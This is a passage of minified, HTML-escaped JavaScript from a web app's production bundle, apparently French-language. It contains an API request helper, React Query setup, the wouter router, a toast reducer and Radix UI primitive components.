t=Sie(),r=e.startsWith(&quot;/&quot;)?e:`/${e}`;if(!t||t.trim()===&quot;&quot;)throw new Error(&quot;VITE_API_BASE_URL manquant : API non configurée pour la production.&quot;);return`${t.endsWith(&quot;/&quot;)?t.slice(0,-1):t}${r}`}const Bie=Object.freeze(Object.defineProperty({__proto__:null,apiUrl:$s},Symbol.toStringTag,{value:&quot;Module&quot;}));async function _O(e){if(!e.ok){const t=e.clone();let r=e.statusText,n=null;try{const s=e.headers.get(&quot;content-type&quot;);if(s&amp;&amp;s.includes(&quot;application/json&quot;)){const o=await t.json();if(n=o,o.errors&amp;&amp;typeof o.errors==&quot;object&quot;){const l=[];for(const[c,d]of Object.entries(o.errors))Array.isArray(d)?l.push(`${c}: ${d.join(&quot;, &quot;)}`):l.push(`${c}: ${String(d)}`);l.length&gt;0?r=`${o.message||&quot;Erreur de validation&quot;}
${l.join(`
`)}`:r=o.message||o.error||JSON.stringify(o)}else r=o.detail||o.message||o.error||JSON.stringify(o)}else{const o=await t.text();o.trim().startsWith(&quot;&lt;!DOCTYPE&quot;)||o.trim().startsWith(&quot;&lt;html&quot;)?r=`Erreur ${e.status}: Le serveur a retourné une page HTML au lieu de JSON. Vérifiez que la route existe et que le serveur fonctionne correctement.`:r=o||e.statusText}}catch{r=e.statusText}const i=new Error(`${e.status}: ${r}`);throw i.status=e.status,n&amp;&amp;(i.response={data:n,status:e.status}),i}}async function $t(e,t){const r=t?.method||&quot;GET&quot;,n=e.startsWith(&quot;http&quot;)?e:$s(e),i=localStorage.getItem(&quot;parcapp_token&quot;),s={};let o;t?.body&amp;&amp;(t.body instanceof FormData?o=t.body:(s[&quot;Content-Type&quot;]=&quot;application/json&quot;,o=JSON.stringify(t.body))),i&amp;&amp;(s.Authorization=`Bearer ${i}`);const l=await fetch(n,{method:r,headers:s,body:o,credentials:&quot;include&quot;});if(await _O(l),l.status===204)return;const c=l.headers.get(&quot;content-type&quot;);if(c&amp;&amp;c.includes(&quot;application/json&quot;)){const d=await l.text();if(d.trim()===&quot;&quot;)return;try{return JSON.parse(d)}catch{throw new Error(&quot;La réponse n&#039;est pas du JSON valide. Le serveur a peut-être retourné une page d&#039;erreur HTML.&quot;)}}}const um=({on401:e})=&gt;async({queryKey:t})=&gt;{const r=t.join(&quot;/&quot;),n=r.startsWith(&quot;http&quot;)?r:$s(r),i=localStorage.getItem(&quot;parcapp_token&quot;),s={};i&amp;&amp;(s.Authorization=`Bearer ${i}`);let o;try{o=await fetch(n,{headers:s,credentials:&quot;include&quot;})}catch(l){const c=l instanceof Error?l.message:&quot;Erreur de connexion réseau&quot;;throw c.includes(&quot;timeout&quot;)||c.includes(&quot;TIMED_OUT&quot;)?new Error(&quot;La connexion au serveur a expiré. Vérifiez votre connexion réseau.&quot;):c.includes(&quot;refused&quot;)||c.includes(&quot;REFUSED&quot;)?new Error(&quot;Impossible de se connecter au serveur. Vérifiez que l&#039;API est accessible.&quot;):c.includes(&quot;Failed to fetch&quot;)||c.includes(&quot;ERR_NETWORK&quot;)||c.includes(&quot;ERR_HTTP2&quot;)?new Error(&quot;Erreur de connexion réseau. Veuillez réessayer.&quot;):new Error(`Erreur de connexion: ${c}`)}return await _O(o),await o.json()},jt=new wie({defaultOptions:{queries:{queryFn:um({on401:&quot;throw&quot;}),refetchInterval:!1,refetchOnWindowFocus:!0,refetchOnReconnect:!0,staleTime:0,retry:!1},mutations:{retry:!1}}}),DO=Object.freeze(Object.defineProperty({__proto__:null,apiRequest:$t,getQueryFn:um,queryClient:jt},Symbol.toStringTag,{value:&quot;Module&quot;}));function kie(e,t){if(e instanceof RegExp)return{keys:!1,pattern:e};var r,n,i,s,o=[],l=&quot;&quot;,c=e.split(&quot;/&quot;);for(c[0]||c.shift();i=c.shift();)r=i[0],r===&quot;*&quot;?(o.push(r),l+=i[1]===&quot;?&quot;?&quot;(?:/(.*))?&quot;:&quot;/(.*)&quot;):r===&quot;:&quot;?(n=i.indexOf(&quot;?&quot;,1),s=i.indexOf(&quot;.&quot;,1),o.push(i.substring(1,~n?n:~s?s:i.length)),l+=~n&amp;&amp;!~s?&quot;(?:/([^/]+?))?&quot;:&quot;/([^/]+?)&quot;,~s&amp;&amp;(l+=(~n?&quot;?&quot;:&quot;&quot;)+&quot;\\&quot;+i.substring(s))):l+=&quot;/&quot;+i;return{keys:o,pattern:new RegExp(&quot;^&quot;+l+(t?&quot;(?=$|/)&quot;:&quot;/?$&quot;),&quot;i&quot;)}}var oI={exports:{}},lI={};var ED;function _ie(){if(ED)return lI;ED=1;var e=o4();function t(h,p){return h===p&amp;&amp;(h!==0||1/h===1/p)||h!==h&amp;&amp;p!==p}var r=typeof Object.is==&quot;function&quot;?Object.is:t,n=e.useState,i=e.useEffect,s=e.useLayoutEffect,o=e.useDebugValue;function l(h,p){var A=p(),y=n({inst:{value:A,getSnapshot:p}}),v=y[0].inst,w=y[1];return s(function(){v.value=A,v.getSnapshot=p,c(v)&amp;&amp;w({inst:v})},[h,A,p]),i(function(){return c(v)&amp;&amp;w({inst:v}),h(function(){c(v)&amp;&amp;w({inst:v})})},[h]),o(A),A}function c(h){var p=h.getSnapshot;h=h.value;try{var A=p();return!r(h,A)}catch{return!0}}function d(h,p){return p()}var u=typeof window&gt;&quot;u&quot;||typeof window.document&gt;&quot;u&quot;||typeof window.document.createElement&gt;&quot;u&quot;?d:l;return lI.useSyncExternalStore=e.useSyncExternalStore!==void 0?e.useSyncExternalStore:u,lI}var CD;function Die(){return CD||(CD=1,oI.exports=_ie()),oI.exports}var TO=Die();const Tie=l4.useInsertionEffect,Rie=typeof window&lt;&quot;u&quot;&amp;&amp;typeof window.document&lt;&quot;u&quot;&amp;&amp;typeof window.document.createElement&lt;&quot;u&quot;,Pie=Rie?I.useLayoutEffect:I.useEffect,Qie=Tie||Pie,RO=e=&gt;{const t=I.useRef([e,(...r)=&gt;t[0](...r)]).current;return Qie(()=&gt;{t[0]=e}),t[1]},Fie=&quot;popstate&quot;,k6=&quot;pushState&quot;,_6=&quot;replaceState&quot;,Oie=&quot;hashchange&quot;,ID=[Fie,k6,_6,Oie],Lie=e=&gt;{for(const t of ID)addEventListener(t,e);return()=&gt;{for(const t of ID)removeEventListener(t,e)}},PO=(e,t)=&gt;TO.useSyncExternalStore(Lie,e,t),jD=()=&gt;location.search,Mie=({ssrSearch:e}={})=&gt;PO(jD,e!=null?()=&gt;e:jD),ND=()=&gt;location.pathname,Uie=({ssrPath:e}={})=&gt;PO(ND,e!=null?()=&gt;e:ND),zie=(e,{replace:t=!1,state:r=null}={})=&gt;history[t?_6:k6](r,&quot;&quot;,e),$ie=(e={})=&gt;[Uie(e),zie],SD=Symbol.for(&quot;wouter_v3&quot;);if(typeof history&lt;&quot;u&quot;&amp;&amp;typeof window[SD]&gt;&quot;u&quot;){for(const e of[k6,_6]){const t=history[e];history[e]=function(){const r=t.apply(this,arguments),n=new Event(e);return n.arguments=arguments,dispatchEvent(n),r}}Object.defineProperty(window,SD,{value:!0})}const Hie=(e,t)=&gt;t.toLowerCase().indexOf(e.toLowerCase())?&quot;~&quot;+t:t.slice(e.length)||&quot;/&quot;,QO=(e=&quot;&quot;)=&gt;e===&quot;/&quot;?&quot;&quot;:e,qie=(e,t)=&gt;e[0]===&quot;~&quot;?e.slice(1):QO(t)+e,Gie=(e=&quot;&quot;,t)=&gt;Hie(BD(QO(e)),BD(t)),BD=e=&gt;{try{return decodeURI(e)}catch{return e}},FO={hook:$ie,searchHook:Mie,parser:kie,base:&quot;&quot;,ssrPath:void 0,ssrSearch:void 0,ssrContext:void 0,hrefs:e=&gt;e,aroundNav:(e,t,r)=&gt;e(t,r)},OO=I.createContext(FO),O1=()=&gt;I.useContext(OO),LO={},MO=I.createContext(LO),Vie=()=&gt;I.useContext(MO),c4=e=&gt;{const[t,r]=e.hook(e);return[Gie(e.base,t),RO((n,i)=&gt;e.aroundNav(r,qie(n,e.base),i))]},Gi=()=&gt;c4(O1()),D6=(e,t,r,n)=&gt;{const{pattern:i,keys:s}=t instanceof RegExp?{keys:!1,pattern:t}:e(t||&quot;*&quot;,n),o=i.exec(r)||[],[l,...c]=o;return l!==void 0?[!0,(()=&gt;{const d=s!==!1?Object.fromEntries(s.map((h,p)=&gt;[h,c[p]])):o.groups;let u={...c};return d&amp;&amp;Object.assign(u,d),u})(),...n?[l]:[]]:[!1,null]},mg=e=&gt;D6(O1().parser,e,Gi()[0]),Wie=({children:e,...t})=&gt;{const r=O1(),n=t.hook?FO:r;let i=n;const[s,o=t.ssrSearch??&quot;&quot;]=t.ssrPath?.split(&quot;?&quot;)??[];s&amp;&amp;(t.ssrSearch=o,t.ssrPath=s),t.hrefs=t.hrefs??t.hook?.hrefs,t.searchHook=t.searchHook??t.hook?.searchHook;let l=I.useRef({}),c=l.current,d=c;for(let u in n){const h=u===&quot;base&quot;?n[u]+(t[u]??&quot;&quot;):t[u]??n[u];c===d&amp;&amp;h!==d[u]&amp;&amp;(l.current=d={...d}),d[u]=h,(h!==n[u]||h!==i[u])&amp;&amp;(i=d)}return I.createElement(OO.Provider,{value:i,children:e})},kD=({children:e,component:t},r)=&gt;t?I.createElement(t,{params:r}):typeof e==&quot;function&quot;?e(r):e,Kie=e=&gt;{let t=I.useRef(LO);const r=t.current;return t.current=Object.keys(e).length!==Object.keys(r).length||Object.entries(e).some(([n,i])=&gt;i!==r[n])?e:r},ta=({path:e,nest:t,match:r,...n})=&gt;{const i=O1(),[s]=c4(i),[o,l,c]=r??D6(i.parser,e,s,t),d=Kie({...Vie(),...l});if(!o)return null;const u=c?I.createElement(Wie,{base:c},kD(n,d)):kD(n,d);return I.createElement(MO.Provider,{value:d,children:u})},jm=I.forwardRef((e,t)=&gt;{const r=O1(),[n,i]=c4(r),{to:s=&quot;&quot;,href:o=s,onClick:l,asChild:c,children:d,className:u,replace:h,state:p,transition:A,...y}=e,v=RO(j=&gt;{j.ctrlKey||j.metaKey||j.altKey||j.shiftKey||j.button!==0||(l?.(j),j.defaultPrevented||(j.preventDefault(),i(o,e)))}),w=r.hrefs(o[0]===&quot;~&quot;?o.slice(1):r.base+o,r);return c&amp;&amp;I.isValidElement(d)?I.cloneElement(d,{onClick:v,href:w}):I.createElement(&quot;a&quot;,{...y,onClick:v,href:w,className:u?.call?u(n===o):u,children:d,ref:t})}),UO=e=&gt;Array.isArray(e)?e.flatMap(t=&gt;UO(t&amp;&amp;t.type===I.Fragment?t.props.children:t)):[e],Yie=({children:e,location:t})=&gt;{const r=O1(),[n]=c4(r);for(const i of UO(e)){let s=0;if(I.isValidElement(i)&amp;&amp;(s=D6(r.parser,i.props.path,t||n,i.props.nest))[0])return I.cloneElement(i,{match:s})}return null},Zie=1,Jie=1e6;let cI=0;function Xie(){return cI=(cI+1)%Number.MAX_SAFE_INTEGER,cI.toString()}const uI=new Map,_D=e=&gt;{if(uI.has(e))return;const t=setTimeout(()=&gt;{uI.delete(e),Gx({type:&quot;REMOVE_TOAST&quot;,toastId:e})},Jie);uI.set(e,t)},eae=(e,t)=&gt;{let r={toasts:[]};try{e&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;e!==null?&quot;toasts&quot;in e&amp;&amp;Array.isArray(e.toasts)?r=e:r={toasts:[]}:r={toasts:[]}}catch(i){console.warn(&quot;Error in reducer state validation:&quot;,i),r={toasts:[]}}let n=[];try{if(r&amp;&amp;typeof r==&quot;object&quot;&amp;&amp;r!==null&amp;&amp;&quot;toasts&quot;in r){const i=r.toasts;Array.isArray(i)&amp;&amp;(n=i)}}catch(i){console.warn(&quot;Error getting safe toasts:&quot;,i),n=[]}switch(t.type){case&quot;ADD_TOAST&quot;:return{...r,toasts:[t.toast,...n].slice(0,Zie)};case&quot;UPDATE_TOAST&quot;:return{...r,toasts:n.map(i=&gt;i.id===t.toast.id?{...i,...t.toast}:i)};case&quot;DISMISS_TOAST&quot;:{const{toastId:i}=t;return i?_D(i):n.forEach(s=&gt;{_D(s.id)}),{...r,toasts:n.map(s=&gt;s.id===i||i===void 0?{...s,open:!1}:s)}}case&quot;REMOVE_TOAST&quot;:return t.toastId===void 0?{...r,toasts:[]}:{...r,toasts:n.filter(i=&gt;i.id!==t.toastId)}}},tae=(()=&gt;{let e=[];return{get:()=&gt;(Array.isArray(e)||(e=[]),e),set:t=&gt;{e=t}}})(),DA=(()=&gt;{let e={toasts:[]};return{get:()=&gt;((!e||typeof e!=&quot;object&quot;||!e.toasts||!Array.isArray(e.toasts))&amp;&amp;(e={toasts:[]}),e),set:t=&gt;{t&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;t.toasts&amp;&amp;Array.isArray(t.toasts)?e=t:e={toasts:[]}}}})();function q3(){return tae.get()}function zO(){const e={toasts:[]};try{const t=DA.get();if(!t||typeof t!=&quot;object&quot;||t===null||!(&quot;toasts&quot;in t))return DA.set(e),e;const r=t.toasts;return Array.isArray(r)?t:(DA.set(e),e)}catch(t){return console.warn(&quot;Error getting memory state:&quot;,t),DA.set(e),e}}function $2(e){DA.set(e)}function Gx(e){try{const t=zO();if(!t||typeof t!=&quot;object&quot;||t===null||!(&quot;toasts&quot;in t)){console.warn(&quot;Invalid currentState in dispatch, using empty state&quot;),$2({toasts:[]});return}const r=eae(t,e);if(!r||typeof r!=&quot;object&quot;||r===null||!(&quot;toasts&quot;in r)||!Array.isArray(r.toasts)){console.warn(&quot;Invalid newState from reducer, using empty state&quot;),$2({toasts:[]});return}$2(r);const n=q3();Array.isArray(n)&amp;&amp;n.forEach(i=&gt;{try{i(r)}catch(s){console.warn(&quot;Error calling toast listener:&quot;,s)}})}catch(t){console.error(&quot;Error in dispatch:&quot;,t),$2({toasts:[]})}}function rae({...e}){try{const t=Xie(),r=i=&gt;{try{Gx({type:&quot;UPDATE_TOAST&quot;,toast:{...i,id:t}})}catch(s){console.warn(&quot;Error updating toast:&quot;,s)}},n=()=&gt;{try{Gx({type:&quot;DISMISS_TOAST&quot;,toastId:t})}catch(i){console.warn(&quot;Error dismissing toast:&quot;,i)}};try{Gx({type:&quot;ADD_TOAST&quot;,toast:{...e,id:t,open:!0,onOpenChange:i=&gt;{i||n()}}})}catch(i){console.warn(&quot;Error adding toast:&quot;,i)}return{id:t,dismiss:n,update:r}}catch(t){return console.error(&quot;Error in toast function:&quot;,t),{id:&quot;&quot;,dismiss:()=&gt;{},update:()=&gt;{}}}}function Er(){const[e,t]=I.useState({toasts:[]});return I.useEffect(()=&gt;{try{const i=zO();i&amp;&amp;typeof i==&quot;object&quot;&amp;&amp;i!==null&amp;&amp;&quot;toasts&quot;in i&amp;&amp;Array.isArray(i.toasts)&amp;&amp;t(i)}catch{}const n=t;try{const i=q3();if(Array.isArray(i))return i.push(n),()=&gt;{try{const s=q3();if(Array.isArray(s)){const o=s.indexOf(n);o&gt;-1&amp;&amp;s.splice(o,1)}}catch{}}}catch{}},[]),{toasts:e&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;e!==null&amp;&amp;&quot;toasts&quot;in e&amp;&amp;Array.isArray(e.toasts)?e.toasts:[],toast:rae,dismiss:n=&gt;{try{Gx({type:&quot;DISMISS_TOAST&quot;,toastId:n})}catch{}}}}var L1=fO();const nae=ma(L1);function yr(e,t,{checkForDefaultPrevented:r=!0}={}){return function(i){if(e?.(i),r===!1||!i.defaultPrevented)return t?.(i)}}function DD(e,t){if(typeof e==&quot;function&quot;)return e(t);e!=null&amp;&amp;(e.current=t)}function rh(...e){return t=&gt;{let r=!1;const n=e.map(i=&gt;{const s=DD(i,t);return!r&amp;&amp;typeof s==&quot;function&quot;&amp;&amp;(r=!0),s});if(r)return()=&gt;{for(let i=0;i&lt;n.length;i++){const s=n[i];typeof s==&quot;function&quot;?s():DD(e[i],null)}}}}function ri(...e){return I.useCallback(rh(...e),e)}function iae(e,t){const r=I.createContext(t),n=s=&gt;{const{children:o,...l}=s,c=I.useMemo(()=&gt;l,Object.values(l));return a.jsx(r.Provider,{value:c,children:o})};n.displayName=e+&quot;Provider&quot;;function i(s){const o=I.useContext(r);if(o)return o;if(t!==void 0)return t;throw new Error(`\`${s}\` must be used within \`${e}\``)}return[n,i]}function Sc(e,t=[]){let r=[];function n(s,o){const l=I.createContext(o),c=r.length;r=[...r,o];const d=h=&gt;{const{scope:p,children:A,...y}=h,v=p?.[e]?.[c]||l,w=I.useMemo(()=&gt;y,Object.values(y));return a.jsx(v.Provider,{value:w,children:A})};d.displayName=s+&quot;Provider&quot;;function u(h,p){const A=p?.[e]?.[c]||l,y=I.useContext(A);if(y)return y;if(o!==void 0)return o;throw new Error(`\`${h}\` must be used within \`${s}\``)}return[d,u]}const i=()=&gt;{const s=r.map(o=&gt;I.createContext(o));return function(l){const c=l?.[e]||s;return I.useMemo(()=&gt;({[`__scope${e}`]:{...l,[e]:c}}),[l,c])}};return i.scopeName=e,[n,aae(i,...t)]}function aae(...e){const t=e[0];if(e.length===1)return t;const r=()=&gt;{const n=e.map(i=&gt;({useScope:i(),scopeName:i.scopeName}));return function(s){const o=n.reduce((l,{useScope:c,scopeName:d})=&gt;{const h=c(s)[`__scope${d}`];return{...l,...h}},{});return I.useMemo(()=&gt;({[`__scope${t.scopeName}`]:o}),[o])}};return r.scopeName=t.scopeName,r}function TD(e){const t=sae(e),r=I.forwardRef((n,i)=&gt;{const{children:s,...o}=n,l=I.Children.toArray(s),c=l.find(lae);if(c){const d=c.props.children,u=l.map(h=&gt;h===c?I.Children.count(d)&gt;1?I.Children.only(null):I.isValidElement(d)?d.props.children:null:h);return a.jsx(t,{...o,ref:i,children:I.isValidElement(d)?I.cloneElement(d,void 0,u):null})}return a.jsx(t,{...o,ref:i,children:s})});return r.displayName=`${e}.Slot`,r}function sae(e){const t=I.forwardRef((r,n)=&gt;{const{children:i,...s}=r;if(I.isValidElement(i)){const o=uae(i),l=cae(s,i.props);return i.type!==I.Fragment&amp;&amp;(l.ref=n?rh(n,o):o),I.cloneElement(i,l)}return I.Children.count(i)&gt;1?I.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var oae=Symbol(&quot;radix.slottable&quot;);function lae(e){return I.isValidElement(e)&amp;&amp;typeof e.type==&quot;function&quot;&amp;&amp;&quot;__radixId&quot;in e.type&amp;&amp;e.type.__radixId===oae}function cae(e,t){const r={...t};for(const n in t){const i=e[n],s=t[n];/^on[A-Z]/.test(n)?i&amp;&amp;s?r[n]=(...l)=&gt;{const c=s(...l);return i(...l),c}:i&amp;&amp;(r[n]=i):n===&quot;style&quot;?r[n]={...i,...s}:n===&quot;className&quot;&amp;&amp;(r[n]=[i,s].filter(Boolean).join(&quot; &quot;))}return{...e,...r}}function uae(e){let t=Object.getOwnPropertyDescriptor(e.props,&quot;ref&quot;)?.get,r=t&amp;&amp;&quot;isReactWarning&quot;in t&amp;&amp;t.isReactWarning;return r?e.ref:(t=Object.getOwnPropertyDescriptor(e,&quot;ref&quot;)?.get,r=t&amp;&amp;&quot;isReactWarning&quot;in t&amp;&amp;t.isReactWarning,r?e.props.ref:e.props.ref||e.ref)}function Kv(e){const t=e+&quot;CollectionProvider&quot;,[r,n]=Sc(t),[i,s]=r(t,{collectionRef:{current:null},itemMap:new Map}),o=v=&gt;{const{scope:w,children:j}=v,E=Za.useRef(null),S=Za.useRef(new Map).current;return a.jsx(i,{scope:w,itemMap:S,collectionRef:E,children:j})};o.displayName=t;const l=e+&quot;CollectionSlot&quot;,c=TD(l),d=Za.forwardRef((v,w)=&gt;{const{scope:j,children:E}=v,S=s(l,j),_=ri(w,S.collectionRef);return a.jsx(c,{ref:_,children:E})});d.displayName=l;const u=e+&quot;CollectionItemSlot&quot;,h=&quot;data-radix-collection-item&quot;,p=TD(u),A=Za.forwardRef((v,w)=&gt;{const{scope:j,children:E,...S}=v,_=Za.useRef(null),C=ri(w,_),Q=s(u,j);return Za.useEffect(()=&gt;(Q.itemMap.set(_,{ref:_,...S}),()=&gt;{Q.itemMap.delete(_)})),a.jsx(p,{[h]:&quot;&quot;,ref:C,children:E})});A.displayName=u;function y(v){const w=s(e+&quot;CollectionConsumer&quot;,v);return Za.useCallback(()=&gt;{const E=w.collectionRef.current;if(!E)return[];const S=Array.from(E.querySelectorAll(`[${h}]`));return Array.from(w.itemMap.values()).sort((Q,R)=&gt;S.indexOf(Q.ref.current)-S.indexOf(R.ref.current))},[w.collectionRef,w.itemMap])}return[{Provider:o,Slot:d,ItemSlot:A},y,n]}function dae(e){const t=fae(e),r=I.forwardRef((n,i)=&gt;{const{children:s,...o}=n,l=I.Children.toArray(s),c=l.find(mae);if(c){const d=c.props.children,u=l.map(h=&gt;h===c?I.Children.count(d)&gt;1?I.Children.only(null):I.isValidElement(d)?d.props.children:null:h);return a.jsx(t,{...o,ref:i,children:I.isValidElement(d)?I.cloneElement(d,void 0,u):null})}return a.jsx(t,{...o,ref:i,children:s})});return r.displayName=`${e}.Slot`,r}function fae(e){const t=I.forwardRef((r,n)=&gt;{const{children:i,...s}=r;if(I.isValidElement(i)){const o=gae(i),l=pae(s,i.props);return i.type!==I.Fragment&amp;&amp;(l.ref=n?rh(n,o):o),I.cloneElement(i,l)}return I.Children.count(i)&gt;1?I.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var hae=Symbol(&quot;radix.slottable&quot;);function mae(e){return I.isValidElement(e)&amp;&amp;typeof e.type==&quot;function&quot;&amp;&amp;&quot;__radixId&quot;in e.type&amp;&amp;e.type.__radixId===hae}function pae(e,t){const r={...t};for(const n in t){const i=e[n],s=t[n];/^on[A-Z]/.test(n)?i&amp;&amp;s?r[n]=(...l)=&gt;{const c=s(...l);return i(...l),c}:i&amp;&amp;(r[n]=i):n===&quot;style&quot;?r[n]={...i,...s}:n===&quot;className&quot;&amp;&amp;(r[n]=[i,s].filter(Boolean).join(&quot; &quot;))}return{...e,...r}}function gae(e){let t=Object.getOwnPropertyDescriptor(e.props,&quot;ref&quot;)?.get,r=t&amp;&amp;&quot;isReactWarning&quot;in t&amp;&amp;t.isReactWarning;return r?e.ref:(t=Object.getOwnPropertyDescriptor(e,&quot;ref&quot;)?.get,r=t&amp;&amp;&quot;isReactWarning&quot;in t&amp;&amp;t.isReactWarning,r?e.props.ref:e.props.ref||e.ref)}var Aae=[&quot;a&quot;,&quot;button&quot;,&quot;div&quot;,&quot;form&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;img&quot;,&quot;input&quot;,&quot;label&quot;,&quot;li&quot;,&quot;nav&quot;,&quot;ol&quot;,&quot;p&quot;,&quot;select&quot;,&quot;span&quot;,&quot;svg&quot;,&quot;ul&quot;],an=Aae.reduce((e,t)=&gt;{const r=dae(`Primitive.${t}`),n=I.forwardRef((i,s)=&gt;{const{asChild:o,...l}=i,c=o?r:t;return typeof window&lt;&quot;u&quot;&amp;&amp;(window[Symbol.for(&quot;radix-ui&quot;)]=!0),a.jsx(c,{...l,ref:s})});return n.displayName=`Primitive.${t}`,{...e,[t]:n}},{});function T6(e,t){e&amp;&amp;L1.flushSync(()=&gt;e.dispatchEvent(t))}function ql(e){const t=I.useRef(e);return I.useEffect(()=&gt;{t.current=e}),I.useMemo(()=&gt;(...r)=&gt;t.current?.(...r),[])}function xae(e,t=globalThis?.document){const r=ql(e);I.useEffect(()=&gt;{const n=i=&gt;{i.key===&quot;Escape&quot;&amp;&amp;r(i)};return t.addEventListener(&quot;keydown&quot;,n,{capture:!0}),()=&gt;t.removeEventListener(&quot;keydown&quot;,n,{capture:!0})},[r,t])}var vae=&quot;DismissableLayer&quot;,G3=&quot;dismissableLayer.update&quot;,yae=&quot;dismissableLayer.pointerDownOutside&quot;,bae=&quot;dismissableLayer.focusOutside&quot;,RD,$O=I.createContext({layers:new Set,layersWithOutsidePointerEventsDisabled:new Set,branches:new Set}),M1=I.forwardRef((e,t)=&gt;{const{disableOutsidePointerEvents:r=!1,onEscapeKeyDown:n,onPointerDownOutside:i,onFocusOutside:s,onInteractOutside:o,onDismiss:l,...c}=e,d=I.useContext($O),[u,h]=I.useState(null),p=u?.ownerDocument??globalThis?.document,[,A]=I.useState({}),y=ri(t,R=&gt;h(R)),v=Array.from(d.layers),[w]=[...d.layersWithOutsidePointerEventsDisabled].slice(-1),j=v.indexOf(w),E=u?v.indexOf(u):-1,S=d.layersWithOutsidePointerEventsDisabled.size&gt;0,_=E&gt;=j,C=Eae(R=&gt;{const T=R.target,M=[...d.branches].some(O=&gt;O.contains(T));!_||M||(i?.(R),o?.(R),R.defaultPrevented||l?.())},p),Q=Cae(R=&gt;{const T=R.target;[...d.branches].some(O=&gt;O.contains(T))||(s?.(R),o?.(R),R.defaultPrevented||l?.())},p);return xae(R=&gt;{E===d.layers.size-1&amp;&amp;(n?.(R),!R.defaultPrevented&amp;&amp;l&amp;&amp;(R.preventDefault(),l()))},p),I.useEffect(()=&gt;{if(u)return r&amp;&amp;(d.layersWithOutsidePointerEventsDisabled.size===0&amp;&amp;(RD=p.body.style.pointerEvents,p.body.style.pointerEvents=&quot;none&quot;),d.layersWithOutsidePointerEventsDisabled.add(u)),d.layers.add(u),PD(),()=&gt;{r&amp;&amp;d.layersWithOutsidePointerEventsDisabled.size===1&amp;&amp;(p.body.style.pointerEvents=RD)}},[u,p,r,d]),I.useEffect(()=&gt;()=&gt;{u&amp;&amp;(d.layers.delete(u),d.layersWithOutsidePointerEventsDisabled.delete(u),PD())},[u,d]),I.useEffect(()=&gt;{const R=()=&gt;A({});return document.addEventListener(G3,R),()=&gt;document.removeEventListener(G3,R)},[]),a.jsx(an.div,{...c,ref:y,style:{pointerEvents:S?_?&quot;auto&quot;:&quot;none&quot;:void 0,...e.style},onFocusCapture:yr(e.onFocusCapture,Q.onFocusCapture),onBlurCapture:yr(e.onBlurCapture,Q.onBlurCapture),onPointerDownCapture:yr(e.onPointerDownCapture,C.onPointerDownCapture)})});M1.displayName=vae;var wae=&quot;DismissableLayerBranch&quot;,HO=I.forwardRef((e,t)=&gt;{const r=I.useContext($O),n=I.useRef(null),i=ri(t,n);return I.useEffect(()=&gt;{const s=n.current;if(s)return r.branches.add(s),()=&gt;{r.branches.delete(s)}},[r.branches]),a.jsx(an.div,{...e,ref:i})});HO.displayName=wae;function Eae(e,t=globalThis?.document){const r=ql(e),n=I.useRef(!1),i=I.useRef(()=&gt;{});return I.useEffect(()=&gt;{const s=l=&gt;{if(l.target&amp;&amp;!n.current){let c=function(){qO(yae,r,d,{discrete:!0})};const d={originalEvent:l};l.pointerType===&quot;touch&quot;?(t.removeEventListener(&quot;click&quot;,i.current),i.current=c,t.addEventListener(&quot;click&quot;,i.current,{once:!0})):c()}else t.removeEventListener(&quot;click&quot;,i.current);n.current=!1},o=window.setTimeout(()=&gt;{t.addEventListener(&quot;pointerdown&quot;,s)},0);return()=&gt;{window.clearTimeout(o),t.removeEventListener(&quot;pointerdown&quot;,s),t.removeEventListener(&quot;click&quot;,i.current)}},[t,r]),{onPointerDownCapture:()=&gt;n.current=!0}}function Cae(e,t=globalThis?.document){const r=ql(e),n=I.useRef(!1);return I.useEffect(()=&gt;{const i=s=&gt;{s.target&amp;&amp;!n.current&amp;&amp;qO(bae,r,{originalEvent:s},{discrete:!1})};return t.addEventListener(&quot;focusin&quot;,i),()=&gt;t.removeEventListener(&quot;focusin&quot;,i)},[t,r]),{onFocusCapture:()=&gt;n.current=!0,onBlurCapture:()=&gt;n.current=!1}}function PD(){const e=new CustomEvent(G3);document.dispatchEvent(e)}function qO(e,t,r,{discrete:n}){const i=r.originalEvent.target,s=new CustomEvent(e,{bubbles:!1,cancelable:!0,detail:r});t&amp;&amp;i.addEventListener(e,t,{once:!0}),n?T6(i,s):i.dispatchEvent(s)}var Iae=M1,jae=HO,zs=globalThis?.document?I.useLayoutEffect:()=&gt;{},Nae=&quot;Portal&quot;,Yv=I.forwardRef((e,t)=&gt;{const{container:r,...n}=e,[i,s]=I.useState(!1);zs(()=&gt;s(!0),[]);const o=r||i&amp;&amp;globalThis?.document?.body;return o?nae.createPortal(a.jsx(an.div,{...n,ref:t}),o):null});Yv.displayName=Nae;function Sae(e,t){return I.useReducer((r,n)=&gt;t[r][n]??r,e)}var hu=e=&gt;{const{present:t,children:r}=e,n=Bae(t),i=typeof r==&quot;function&quot;?r({present:n.isPresent}):I.Children.only(r),s=ri(n.ref,kae(i));return typeof r==&quot;function&quot;||n.isPresent?I.cloneElement(i,{ref:s}):null};hu.displayName=&quot;Presence&quot;;function Bae(e){const[t,r]=I.useState(),n=I.useRef(null),i=I.useRef(e),s=I.useRef(&quot;none&quot;),o=e?&quot;mounted&quot;:&quot;unmounted&quot;,[l,c]=Sae(o,{mounted:{UNMOUNT:&quot;unmounted&quot;,ANIMATION_OUT:&quot;unmountSuspended&quot;},unmountSuspended:{MOUNT:&quot;mounted&quot;,ANIMATION_END:&quot;unmounted&quot;},unmounted:{MOUNT:&quot;mounted&quot;}});return I.useEffect(()=&gt;{const d=H2(n.current);s.current=l===&quot;mounted&quot;?d:&quot;none&quot;},[l]),zs(()=&gt;{const d=n.current,u=i.current;if(u!==e){const p=s.current,A=H2(d);e?c(&quot;MOUNT&quot;):A===&quot;none&quot;||d?.display===&quot;none&quot;?c(&quot;UNMOUNT&quot;):c(u&amp;&amp;p!==A?&quot;ANIMATION_OUT&quot;:&quot;UNMOUNT&quot;),i.current=e}},[e,c]),zs(()=&gt;{if(t){let d;const u=t.ownerDocument.defaultView??window,h=A=&gt;{const v=H2(n.current).includes(CSS.escape(A.animationName));if(A.target===t&amp;&amp;v&amp;&amp;(c(&quot;ANIMATION_END&quot;),!i.current)){const 